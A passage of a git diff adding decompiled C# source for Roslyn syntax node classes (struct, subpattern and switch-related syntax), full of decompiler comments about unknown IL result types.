Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new StructDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override TypeDeclarationSyntax AddTypeParameterListParametersCore(params TypeParameterSyntax[] items) + { + return AddTypeParameterListParameters(items); + } + + public new StructDeclarationSyntax AddTypeParameterListParameters(params TypeParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + TypeParameterListSyntax typeParameterListSyntax = TypeParameterList ?? SyntaxFactory.TypeParameterList(); + return WithTypeParameterList(typeParameterListSyntax.WithParameters(typeParameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + internal override TypeDeclarationSyntax AddParameterListParametersCore(params ParameterSyntax[] items) + { + return AddParameterListParameters(items); + } + + public new StructDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ParameterListSyntax parameterListSyntax = ParameterList ?? SyntaxFactory.ParameterList(); + return WithParameterList(parameterListSyntax.WithParameters(parameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + internal override BaseTypeDeclarationSyntax AddBaseListTypesCore(params BaseTypeSyntax[] items) + { + return AddBaseListTypes(items); + } + + public new StructDeclarationSyntax AddBaseListTypes(params BaseTypeSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BaseListSyntax baseListSyntax = BaseList ?? SyntaxFactory.BaseList(); + return WithBaseList(baseListSyntax.WithTypes(baseListSyntax.Types.AddRange((IEnumerable)items))); + } + + internal override TypeDeclarationSyntax AddConstraintClausesCore(params TypeParameterConstraintClauseSyntax[] items) + { + return AddConstraintClauses(items); + } + + public new StructDeclarationSyntax AddConstraintClauses(params TypeParameterConstraintClauseSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClauses(ConstraintClauses.AddRange((IEnumerable)items)); + } + + internal override TypeDeclarationSyntax AddMembersCore(params MemberDeclarationSyntax[] items) + { + return AddMembers(items); + } + + public new StructDeclarationSyntax AddMembers(params MemberDeclarationSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(Members.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StructuredTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StructuredTriviaSyntax.cs new file mode 100644 index 0000000..85c698a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StructuredTriviaSyntax.cs @@ -0,0 +1,30 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class StructuredTriviaSyntax : CSharpSyntaxNode, IStructuredTriviaSyntax +{ + private SyntaxTrivia _parent; + + public override SyntaxTrivia ParentTrivia => _parent; + + internal StructuredTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode parent, int position) + : base((GreenNode)(object)green, position, (parent == null) ? null : parent.SyntaxTree) + { + } + + internal static StructuredTriviaSyntax Create(SyntaxTrivia trivia) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + GreenNode underlyingNode = ((SyntaxTrivia)(ref trivia)).UnderlyingNode; + SyntaxToken token = ((SyntaxTrivia)(ref trivia)).Token; + SyntaxNode parent = ((SyntaxToken)(ref token)).Parent; + int position = ((SyntaxTrivia)(ref trivia)).Position; + StructuredTriviaSyntax obj = (StructuredTriviaSyntax)(object)underlyingNode.CreateRed(parent, position); + obj._parent = trivia; + return obj; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SubpatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SubpatternSyntax.cs new file mode 100644 index 0000000..328e80c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SubpatternSyntax.cs @@ -0,0 +1,86 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SubpatternSyntax : CSharpSyntaxNode +{ + private BaseExpressionColonSyntax? expressionColon; + + private PatternSyntax? pattern; + + public NameColonSyntax? NameColon => ExpressionColon as NameColonSyntax; + + public BaseExpressionColonSyntax? ExpressionColon => ((SyntaxNode)this).GetRedAtZero(ref expressionColon); + + public PatternSyntax Pattern => ((SyntaxNode)this).GetRed(ref pattern, 1); + + public SubpatternSyntax WithNameColon(NameColonSyntax? nameColon) + { + return WithExpressionColon(nameColon); + } + + public SubpatternSyntax Update(NameColonSyntax? nameColon, PatternSyntax pattern) + { + return Update((BaseExpressionColonSyntax?)nameColon, pattern); + } + + internal SubpatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref expressionColon), + 1 => ((SyntaxNode)this).GetRed(ref pattern, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => expressionColon, + 1 => pattern, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSubpattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSubpattern(this); + } + + public SubpatternSyntax Update(BaseExpressionColonSyntax? expressionColon, PatternSyntax pattern) + { + if (expressionColon != ExpressionColon || pattern != Pattern) + { + SubpatternSyntax subpatternSyntax = SyntaxFactory.Subpattern(expressionColon, pattern); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return subpatternSyntax; + } + return subpatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public SubpatternSyntax WithExpressionColon(BaseExpressionColonSyntax? expressionColon) + { + return Update(expressionColon, Pattern); + } + + public SubpatternSyntax WithPattern(PatternSyntax pattern) + { + return Update(ExpressionColon, pattern); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchExpressionArmSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchExpressionArmSyntax.cs new file mode 100644 index 0000000..b9522a7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchExpressionArmSyntax.cs @@ -0,0 +1,99 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SwitchExpressionArmSyntax : CSharpSyntaxNode +{ + private PatternSyntax? pattern; + + private WhenClauseSyntax? whenClause; + + private ExpressionSyntax? expression; + + public PatternSyntax Pattern => ((SyntaxNode)this).GetRedAtZero(ref pattern); + + public WhenClauseSyntax? WhenClause => ((SyntaxNode)this).GetRed(ref whenClause, 1); + + public SyntaxToken EqualsGreaterThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SwitchExpressionArmSyntax)(object)((SyntaxNode)this).Green).equalsGreaterThanToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 3); + + internal SwitchExpressionArmSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref pattern), + 1 => ((SyntaxNode)this).GetRed(ref whenClause, 1), + 3 => ((SyntaxNode)this).GetRed(ref expression, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => pattern, + 1 => whenClause, + 3 => expression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSwitchExpressionArm(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSwitchExpressionArm(this); + } + + public SwitchExpressionArmSyntax Update(PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken equalsGreaterThanToken, ExpressionSyntax expression) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (pattern != Pattern || whenClause != WhenClause || equalsGreaterThanToken != EqualsGreaterThanToken || expression != Expression) + { + SwitchExpressionArmSyntax switchExpressionArmSyntax = SyntaxFactory.SwitchExpressionArm(pattern, whenClause, equalsGreaterThanToken, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return switchExpressionArmSyntax; + } + return switchExpressionArmSyntax.WithAnnotations(annotations); + } + return this; + } + + public SwitchExpressionArmSyntax WithPattern(PatternSyntax pattern) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(pattern, WhenClause, EqualsGreaterThanToken, Expression); + } + + public SwitchExpressionArmSyntax WithWhenClause(WhenClauseSyntax? whenClause) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(Pattern, whenClause, EqualsGreaterThanToken, Expression); + } + + public SwitchExpressionArmSyntax WithEqualsGreaterThanToken(SyntaxToken equalsGreaterThanToken) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(Pattern, WhenClause, equalsGreaterThanToken, Expression); + } + + public SwitchExpressionArmSyntax WithExpression(ExpressionSyntax expression) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(Pattern, WhenClause, EqualsGreaterThanToken, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchExpressionSyntax.cs new file mode 100644 index 0000000..2b9eaf7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchExpressionSyntax.cs @@ -0,0 +1,150 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SwitchExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? governingExpression; + + private SyntaxNode? arms; + + public ExpressionSyntax GoverningExpression => ((SyntaxNode)this).GetRedAtZero(ref governingExpression); + + public SyntaxToken SwitchKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SwitchExpressionSyntax)(object)((SyntaxNode)this).Green).switchKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken OpenBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SwitchExpressionSyntax)(object)((SyntaxNode)this).Green).openBraceToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SeparatedSyntaxList Arms + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref arms, 3); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(3)); + } + } + + public SyntaxToken CloseBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SwitchExpressionSyntax)(object)((SyntaxNode)this).Green).closeBraceToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + internal SwitchExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref governingExpression), + 3 => ((SyntaxNode)this).GetRed(ref arms, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => governingExpression, + 3 => arms, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSwitchExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSwitchExpression(this); + } + + public SwitchExpressionSyntax Update(ExpressionSyntax governingExpression, SyntaxToken switchKeyword, SyntaxToken openBraceToken, SeparatedSyntaxList arms, SyntaxToken closeBraceToken) + { + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (governingExpression != GoverningExpression || switchKeyword != SwitchKeyword || openBraceToken != OpenBraceToken || arms != Arms || closeBraceToken != CloseBraceToken) + { + SwitchExpressionSyntax switchExpressionSyntax = SyntaxFactory.SwitchExpression(governingExpression, switchKeyword, openBraceToken, arms, closeBraceToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return switchExpressionSyntax; + } + return switchExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public SwitchExpressionSyntax WithGoverningExpression(ExpressionSyntax governingExpression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(governingExpression, SwitchKeyword, OpenBraceToken, Arms, CloseBraceToken); + } + + public SwitchExpressionSyntax WithSwitchKeyword(SyntaxToken switchKeyword) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(GoverningExpression, switchKeyword, OpenBraceToken, Arms, CloseBraceToken); + } + + public SwitchExpressionSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(GoverningExpression, SwitchKeyword, openBraceToken, Arms, CloseBraceToken); + } + + public SwitchExpressionSyntax WithArms(SeparatedSyntaxList arms) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(GoverningExpression, SwitchKeyword, OpenBraceToken, arms, CloseBraceToken); + } + + public SwitchExpressionSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(GoverningExpression, SwitchKeyword, OpenBraceToken, Arms, closeBraceToken); + } + + public SwitchExpressionSyntax AddArms(params SwitchExpressionArmSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithArms(Arms.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchLabelSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchLabelSyntax.cs new file mode 100644 index 0000000..be51666 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchLabelSyntax.cs @@ -0,0 +1,31 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class SwitchLabelSyntax : CSharpSyntaxNode +{ + public abstract SyntaxToken Keyword { get; } + + public abstract SyntaxToken ColonToken { get; } + + internal SwitchLabelSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + public SwitchLabelSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithKeywordCore(keyword); + } + + internal abstract SwitchLabelSyntax WithKeywordCore(SyntaxToken keyword); + + public SwitchLabelSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithColonTokenCore(colonToken); + } + + internal abstract SwitchLabelSyntax WithColonTokenCore(SyntaxToken colonToken); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchSectionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchSectionSyntax.cs new file mode 100644 index 0000000..76cb8be --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchSectionSyntax.cs @@ -0,0 +1,101 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SwitchSectionSyntax : CSharpSyntaxNode +{ + private SyntaxNode? labels; + + private SyntaxNode? statements; + + public SyntaxList Labels => new SyntaxList(((SyntaxNode)this).GetRed(ref labels, 0)); + + public SyntaxList Statements => new SyntaxList(((SyntaxNode)this).GetRed(ref statements, 1)); + + internal SwitchSectionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref labels), + 1 => ((SyntaxNode)this).GetRed(ref statements, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => labels, + 1 => statements, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSwitchSection(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSwitchSection(this); + } + + public SwitchSectionSyntax Update(SyntaxList labels, SyntaxList statements) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (labels != Labels || statements != Statements) + { + SwitchSectionSyntax switchSectionSyntax = SyntaxFactory.SwitchSection(labels, statements); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return switchSectionSyntax; + } + return switchSectionSyntax.WithAnnotations(annotations); + } + return this; + } + + public SwitchSectionSyntax WithLabels(SyntaxList labels) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(labels, Statements); + } + + public SwitchSectionSyntax WithStatements(SyntaxList statements) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Labels, statements); + } + + public SwitchSectionSyntax AddLabels(params SwitchLabelSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithLabels(Labels.AddRange((IEnumerable)items)); + } + + public SwitchSectionSyntax AddStatements(params StatementSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithStatements(Statements.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchStatementSyntax.cs new file mode 100644 index 0000000..6924075 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SwitchStatementSyntax.cs @@ -0,0 +1,265 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SwitchStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private ExpressionSyntax? expression; + + private SyntaxNode? sections; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken SwitchKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SwitchStatementSyntax)(object)((SyntaxNode)this).Green).switchKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken OpenParenToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openParenToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SwitchStatementSyntax)(object)((SyntaxNode)this).Green).openParenToken; + if (openParenToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)openParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + } + } + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 3); + + public SyntaxToken CloseParenToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken closeParenToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SwitchStatementSyntax)(object)((SyntaxNode)this).Green).closeParenToken; + if (closeParenToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)closeParenToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + } + } + + public SyntaxToken OpenBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SwitchStatementSyntax)(object)((SyntaxNode)this).Green).openBraceToken, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + + public SyntaxList Sections => new SyntaxList(((SyntaxNode)this).GetRed(ref sections, 6)); + + public SyntaxToken CloseBraceToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SwitchStatementSyntax)(object)((SyntaxNode)this).Green).closeBraceToken, ((SyntaxNode)this).GetChildPosition(7), ((SyntaxNode)this).GetChildIndex(7)); + + public SwitchStatementSyntax Update(SyntaxToken switchKeyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, SyntaxToken openBraceToken, SyntaxList sections, SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, switchKeyword, openParenToken, expression, closeParenToken, openBraceToken, sections, closeBraceToken); + } + + internal SwitchStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref expression, 3), + 6 => ((SyntaxNode)this).GetRed(ref sections, 6), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => expression, + 6 => sections, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSwitchStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSwitchStatement(this); + } + + public SwitchStatementSyntax Update(SyntaxList attributeLists, SyntaxToken switchKeyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken closeParenToken, SyntaxToken openBraceToken, SyntaxList sections, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to 